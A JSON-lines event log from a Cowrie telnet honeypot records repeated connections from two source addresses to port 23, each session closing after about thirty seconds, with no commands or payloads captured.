{"eventid":"cowrie.session.closed","duration":30.57380509376526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:01.504944Z","src_ip":"66.113.179.55","session":"be582726d1a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":33960,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3be10443c5d","protocol":"telnet","message":"New connection: 50.116.100.16:33960 (159.203.135.109:23) [session: b3be10443c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:01.933607Z"}
{"eventid":"cowrie.session.closed","duration":31.257951259613037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:02.463634Z","src_ip":"50.116.100.16","session":"3983afd8f2c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":51122,"dst_ip":"10.17.0.5","dst_port":23,"session":"dca1afce5f91","protocol":"telnet","message":"New connection: 66.113.179.55:51122 (10.17.0.5:23) [session: dca1afce5f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:02.470811Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":51542,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d6395fd99e4","protocol":"telnet","message":"New connection: 66.113.179.55:51542 (10.17.0.5:23) [session: 0d6395fd99e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:02.624674Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":51866,"dst_ip":"10.17.0.5","dst_port":23,"session":"be81e70de7d2","protocol":"telnet","message":"New connection: 66.113.179.55:51866 (10.17.0.5:23) [session: be81e70de7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:02.722867Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":52957,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf1125deceff","protocol":"telnet","message":"New connection: 66.113.179.55:52957 (10.17.0.5:23) [session: bf1125deceff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:03.116489Z"}
{"eventid":"cowrie.session.closed","duration":31.04962658882141,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:03.161053Z","src_ip":"50.116.100.16","session":"2440e069e0ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":33450,"dst_ip":"159.203.135.109","dst_port":23,"session":"66c44cdf0438","protocol":"telnet","message":"New connection: 50.116.100.16:33450 (159.203.135.109:23) [session: 66c44cdf0438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:03.363765Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":54318,"dst_ip":"10.17.0.5","dst_port":23,"session":"636a560c6c48","protocol":"telnet","message":"New connection: 66.113.179.55:54318 (10.17.0.5:23) [session: 636a560c6c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:03.604255Z"}
{"eventid":"cowrie.session.closed","duration":31.020776748657227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:04.136579Z","src_ip":"66.113.179.55","session":"3d34f1c5ba8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.866214275360107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:04.157518Z","src_ip":"50.116.100.16","session":"5bab44b1b25e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.179815769195557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:04.404754Z","src_ip":"50.116.100.16","session":"c14fadaef929","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.754024505615234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:04.610220Z","src_ip":"66.113.179.55","session":"194a36339b79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93298864364624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:04.844749Z","src_ip":"50.116.100.16","session":"4c40fb6f4f28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":58670,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb1e9f69beed","protocol":"telnet","message":"New connection: 66.113.179.55:58670 (10.17.0.5:23) [session: cb1e9f69beed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:05.065518Z"}
{"eventid":"cowrie.session.closed","duration":30.760775566101074,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:05.141893Z","src_ip":"50.116.100.16","session":"8d79499144ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":59112,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b4a05ecf122","protocol":"telnet","message":"New connection: 66.113.179.55:59112 (10.17.0.5:23) [session: 8b4a05ecf122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:05.225177Z"}
{"eventid":"cowrie.session.closed","duration":30.912424087524414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:05.251793Z","src_ip":"50.116.100.16","session":"bb4228677ce4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97876811027527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:06.193427Z","src_ip":"50.116.100.16","session":"97ef3ebb0fee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58711004257202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:06.542457Z","src_ip":"66.113.179.55","session":"8a75b90f5356","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.526538133621216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:07.126451Z","src_ip":"50.116.100.16","session":"13b09a418aab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00978398323059,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:07.195963Z","src_ip":"50.116.100.16","session":"61446fd86db1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":39054,"dst_ip":"10.17.0.5","dst_port":23,"session":"efb4825e2b69","protocol":"telnet","message":"New connection: 66.113.179.55:39054 (10.17.0.5:23) [session: efb4825e2b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:07.950134Z"}
{"eventid":"cowrie.session.closed","duration":30.865920305252075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:08.114819Z","src_ip":"50.116.100.16","session":"9060e3cebee2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":40924,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac659e480c06","protocol":"telnet","message":"New connection: 66.113.179.55:40924 (10.17.0.5:23) [session: ac659e480c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:08.498166Z"}
{"eventid":"cowrie.session.closed","duration":30.89105486869812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:08.503698Z","src_ip":"66.113.179.55","session":"41ae3ed1c195","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":41466,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c52e87297b3","protocol":"telnet","message":"New connection: 50.116.100.16:41466 (159.203.135.109:23) [session: 0c52e87297b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:09.323586Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":41818,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9ec785e9480","protocol":"telnet","message":"New connection: 50.116.100.16:41818 (159.203.135.109:23) [session: c9ec785e9480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:09.650137Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":42234,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a61415b005c","protocol":"telnet","message":"New connection: 50.116.100.16:42234 (159.203.135.109:23) [session: 0a61415b005c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:10.168832Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":42414,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d9574fef158","protocol":"telnet","message":"New connection: 50.116.100.16:42414 (159.203.135.109:23) [session: 4d9574fef158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:10.387922Z"}
{"eventid":"cowrie.session.closed","duration":30.829305410385132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:10.490130Z","src_ip":"66.113.179.55","session":"b4abdc3621fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79762291908264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:11.120023Z","src_ip":"50.116.100.16","session":"0b3f08634ac6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09368324279785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:11.159719Z","src_ip":"50.116.100.16","session":"b8a1e8f211c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.248512268066406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:11.593592Z","src_ip":"66.113.179.55","session":"8a60c0ad462e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.789363145828247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:12.125745Z","src_ip":"50.116.100.16","session":"1d51b72b30e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.466832876205444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:12.264992Z","src_ip":"50.116.100.16","session":"6f657360c934","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.865283012390137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:12.509677Z","src_ip":"66.113.179.55","session":"ffa33125a6be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":52664,"dst_ip":"10.17.0.5","dst_port":23,"session":"898a6d83d05b","protocol":"telnet","message":"New connection: 66.113.179.55:52664 (10.17.0.5:23) [session: 898a6d83d05b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:12.538860Z"}
{"eventid":"cowrie.session.closed","duration":31.315735578536987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:12.921880Z","src_ip":"66.113.179.55","session":"e0ccc1d5a1fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":54340,"dst_ip":"10.17.0.5","dst_port":23,"session":"3406580e532e","protocol":"telnet","message":"New connection: 66.113.179.55:54340 (10.17.0.5:23) [session: 3406580e532e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:13.087159Z"}
{"eventid":"cowrie.session.closed","duration":30.793609619140625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:13.148115Z","src_ip":"50.116.100.16","session":"f07d70ebac5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":45048,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5d567b98281","protocol":"telnet","message":"New connection: 50.116.100.16:45048 (159.203.135.109:23) [session: b5d567b98281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:13.335248Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":55194,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceaadd15c7f3","protocol":"telnet","message":"New connection: 66.113.179.55:55194 (10.17.0.5:23) [session: ceaadd15c7f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:13.344337Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":55540,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eda4f2c2812","protocol":"telnet","message":"New connection: 66.113.179.55:55540 (10.17.0.5:23) [session: 9eda4f2c2812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:13.466384Z"}
{"eventid":"cowrie.session.closed","duration":30.83548903465271,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:13.538468Z","src_ip":"66.113.179.55","session":"66432c72c734","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972429037094116,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:14.571808Z","src_ip":"66.113.179.55","session":"8e7ab41c1f59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":59061,"dst_ip":"10.17.0.5","dst_port":23,"session":"eece23579f18","protocol":"telnet","message":"New connection: 66.113.179.55:59061 (10.17.0.5:23) [session: eece23579f18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:14.621571Z"}
{"eventid":"cowrie.session.closed","duration":31.052160263061523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:15.448567Z","src_ip":"50.116.100.16","session":"082d1c57e5ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61213183403015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:15.530304Z","src_ip":"66.113.179.55","session":"1aebfc368152","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.912076950073242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:15.568990Z","src_ip":"66.113.179.55","session":"12d5f28d6f19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":33896,"dst_ip":"10.17.0.5","dst_port":23,"session":"d82be013653d","protocol":"telnet","message":"New connection: 66.113.179.55:33896 (10.17.0.5:23) [session: d82be013653d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:15.670737Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":34684,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e60cd852e14","protocol":"telnet","message":"New connection: 66.113.179.55:34684 (10.17.0.5:23) [session: 8e60cd852e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:15.926479Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":47796,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ab587f75718","protocol":"telnet","message":"New connection: 50.116.100.16:47796 (159.203.135.109:23) [session: 6ab587f75718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:16.442585Z"}
{"eventid":"cowrie.session.closed","duration":30.703452825546265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:17.525131Z","src_ip":"66.113.179.55","session":"12b331bf4ceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":39936,"dst_ip":"10.17.0.5","dst_port":23,"session":"b32c412abf5c","protocol":"telnet","message":"New connection: 66.113.179.55:39936 (10.17.0.5:23) [session: b32c412abf5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:17.778422Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":41918,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c7642acbda9","protocol":"telnet","message":"New connection: 66.113.179.55:41918 (10.17.0.5:23) [session: 1c7642acbda9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:18.382773Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":42620,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ecbc8f39190","protocol":"telnet","message":"New connection: 66.113.179.55:42620 (10.17.0.5:23) [session: 9ecbc8f39190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:18.615580Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":42728,"dst_ip":"10.17.0.5","dst_port":23,"session":"b17bc26d2778","protocol":"telnet","message":"New connection: 66.113.179.55:42728 (10.17.0.5:23) [session: b17bc26d2778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:18.660545Z"}
{"eventid":"cowrie.session.closed","duration":30.565741062164307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:18.844500Z","src_ip":"66.113.179.55","session":"d4d67539dbf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":49272,"dst_ip":"159.203.135.109","dst_port":23,"session":"26667fa39c9f","protocol":"telnet","message":"New connection: 50.116.100.16:49272 (159.203.135.109:23) [session: 26667fa39c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:18.998669Z"}
{"eventid":"cowrie.session.closed","duration":30.297879219055176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:19.219739Z","src_ip":"50.116.100.16","session":"11231516e8bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":44954,"dst_ip":"10.17.0.5","dst_port":23,"session":"053f60e62882","protocol":"telnet","message":"New connection: 66.113.179.55:44954 (10.17.0.5:23) [session: 053f60e62882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:19.394041Z"}
{"eventid":"cowrie.session.closed","duration":30.87212038040161,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:20.135076Z","src_ip":"50.116.100.16","session":"b96f0b382b8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.188782691955566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:20.466565Z","src_ip":"50.116.100.16","session":"dcd484f52bc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.502299785614014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:20.534945Z","src_ip":"66.113.179.55","session":"93ddab069712","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":49468,"dst_ip":"10.17.0.5","dst_port":23,"session":"8af914652e1f","protocol":"telnet","message":"New connection: 66.113.179.55:49468 (10.17.0.5:23) [session: 8af914652e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:21.085530Z"}
{"eventid":"cowrie.session.closed","duration":30.855336666107178,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:21.247648Z","src_ip":"50.116.100.16","session":"80144c666028","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":50902,"dst_ip":"10.17.0.5","dst_port":23,"session":"232eee713691","protocol":"telnet","message":"New connection: 66.113.179.55:50902 (10.17.0.5:23) [session: 232eee713691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:21.585889Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":51272,"dst_ip":"10.17.0.5","dst_port":23,"session":"db82a6facc3a","protocol":"telnet","message":"New connection: 66.113.179.55:51272 (10.17.0.5:23) [session: db82a6facc3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:21.704753Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":51348,"dst_ip":"10.17.0.5","dst_port":23,"session":"d04f224399a2","protocol":"telnet","message":"New connection: 66.113.179.55:51348 (10.17.0.5:23) [session: d04f224399a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:21.732283Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":52114,"dst_ip":"10.17.0.5","dst_port":23,"session":"95e8f4113d35","protocol":"telnet","message":"New connection: 66.113.179.55:52114 (10.17.0.5:23) [session: 95e8f4113d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:22.001665Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":52620,"dst_ip":"10.17.0.5","dst_port":23,"session":"89dcd269623c","protocol":"telnet","message":"New connection: 66.113.179.55:52620 (10.17.0.5:23) [session: 89dcd269623c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:22.208659Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":52706,"dst_ip":"10.17.0.5","dst_port":23,"session":"dddfe1b07d48","protocol":"telnet","message":"New connection: 66.113.179.55:52706 (10.17.0.5:23) [session: dddfe1b07d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:22.233992Z"}
{"eventid":"cowrie.session.closed","duration":30.551557302474976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:22.364862Z","src_ip":"50.116.100.16","session":"76899188bd42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":55692,"dst_ip":"10.17.0.5","dst_port":23,"session":"f438aa755374","protocol":"telnet","message":"New connection: 66.113.179.55:55692 (10.17.0.5:23) [session: f438aa755374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:23.259046Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":54014,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b302c78eea1","protocol":"telnet","message":"New connection: 50.116.100.16:54014 (159.203.135.109:23) [session: 5b302c78eea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:23.385241Z"}
{"eventid":"cowrie.session.closed","duration":30.904459714889526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:23.504982Z","src_ip":"66.113.179.55","session":"f8f300e7806b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.146209001541138,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:23.542419Z","src_ip":"66.113.179.55","session":"e2b4fcf75213","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":54382,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaecf26276d3","protocol":"telnet","message":"New connection: 50.116.100.16:54382 (159.203.135.109:23) [session: eaecf26276d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:23.744852Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":57034,"dst_ip":"10.17.0.5","dst_port":23,"session":"41c8300971bc","protocol":"telnet","message":"New connection: 66.113.179.55:57034 (10.17.0.5:23) [session: 41c8300971bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:23.750190Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":60338,"dst_ip":"10.17.0.5","dst_port":23,"session":"22276a4b4b8f","protocol":"telnet","message":"New connection: 66.113.179.55:60338 (10.17.0.5:23) [session: 22276a4b4b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:24.812078Z"}
